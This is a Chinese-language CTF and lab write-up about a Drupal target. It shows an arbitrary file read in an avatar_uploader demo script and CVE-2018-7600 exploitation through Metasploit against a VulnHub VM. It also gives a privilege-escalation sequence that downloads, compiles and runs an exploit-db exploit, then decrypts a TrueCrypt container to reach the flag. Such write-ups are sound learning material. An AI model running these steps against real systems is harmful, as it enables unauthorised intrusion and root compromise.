网鼎杯线下web && droopy 靶场
这次网鼎打完啦,还是觉得自己太菜了
半决赛第二也是抱了pwn爷爷的大腿(aris 太强了)
回学校在做一波
Drupal
任意文件读取
web给了一个cms,比赛的时候想着在线审计一个cms也太不靠谱了。
但是我们还是头铁找到了一个任意文件读取
/sites/all/modules/avatar_uploader/lib/demo/view.php
源码
<?php
$file = $_GET['file'];
echo file_get_contents("uploadDir/$file");
exit
位置在这里=。=
很明显的任意文件读取,赛后才知道这也是一个CVE
远程代码执行漏洞(CVE-2018-7600)
但是就是看着别人打我们,我们抓到流量就是打不回去很难受
害的我们决赛的时候web丢分丢了2000分,太菜了
回去之后查了一下关于Drupal的cve
就查到了这个远程代码执行漏洞(CVE-2018-7600)
回来后辉神跟我说msf上面可能有让我找一下
msf使用
在线搭一个Drupal来测试一下这个cve
顺便学习一下msf的使用,先使用这个模块,再看看他需要
use exploit/unix/webapp/drupal_drupalgeddon2
配置完设置
可以准备打过去了,可能是阿里云的原因一直打不过去,
赞叹一下阿里云牛逼
于是我换成了虚拟机,推荐一下
http://www.vulnhub.com
访问一下
成功再像刚才一样配置一遍msf
成功了。。真简单
还可以用
background
退回主界面然后在用
session -i
来进入太强了
番外
既然已经进来了,而且是个靶机,它里面也有一个flag,顺便找一下
继续渗透
进入shell
看下自己什么权限发现自己是www-data
看了一下官网给的hint
提权
使用ofs.c
提权
在tmp目录下进行
wget https://www.exploit-db.com/download/37292
下载下来
mv 37292 ofs.c
gcc ofs.c -o ofs
chmod +x ofs
./ofs
成功
在/var/mail 可以翻到一个信息
不明白,卡了挺久,上网查一下
是一个truecrypt容器,mac居然不能用=。=
看来是要将那个dava.tc解密了
给了hint说是关于学院小于11字,还说我肯定没有=。=
然后还给了一个乐队是the jam,让我们找一首歌
上网查一下估计是个学校有关。。看了很久终于找到
The Eton Rifles
是介绍eton 大学的所以构造密码
etonacademy
正确=。=
cryptsetup open --type tcrypt dave.tc Dave
mount /dev/mapper/dave /media/Dave
cd /media/dev
看看有啥在里面
find .
.
./Panama
./Panama/shares.jpg
./.secret
./.secret/.top
./.secret/.top/flag.txt
./.secret/piers.png
./buller
./buller/BullingdonCrest.jpg
./lost+found
$ cat .secret/.top/flag.txt
################################################################################
# ___ ___ _ _ ___ ___ _ _____ _ _ _ _ _____ ___ ___ _ _ ___ #
# / __/ _ \| \| |/ __| _ \ /_\_ _| | | | | /_\_ _|_ _/ _ \| \| |/ __| #
# | (_| (_) | .` | (_ | / / _ \| | | |_| | |__ / _ \| | | | (_) | .` |\__ \ #
# \___\___/|_|\_|\___|_|_\/_/ \_\_| \___/|____/_/ \_\_| |___\___/|_|\_||___/ #
# #
################################################################################
Firstly, thanks for trying this VM. If you have rooted it, well done!
Shout-outs go to #vulnhub for hosting a great learning tool. A special thanks
goes to barrebas and junken for help in testing and final configuration.
--knightmare
远程代码执行漏洞(CVE-2018-7600) 原理
if (isset($elements['#lazy_builder'])) {
$callable = $elements['#lazy_builder'][0];
$args = $elements['#lazy_builder'][1];
if (is_string($callable) && strpos($callable, '::') === FALSE) {
$callable = $this->controllerResolver->getControllerFromDefinition($callable);
}
$new_elements = call_user_func_array($callable, $args);
主要漏洞是在这里
[#lazy_builder]
的值为经过过滤就直接传入call_user_func_array
导致任意命令执行
就可以把第一个当函数,第二个当调用参数可以进行任意命令执行
心得
第一次参加线下=。=真的是一点防备都没有
以后线下要给所有cms的cve做下备份
或者当场打开msf来试一试了=。=
web没前途呀
参考资料
https://blog.csdn.net/weed_hz/article/details/8949370xx
https://yq.aliyun.com/articles/584991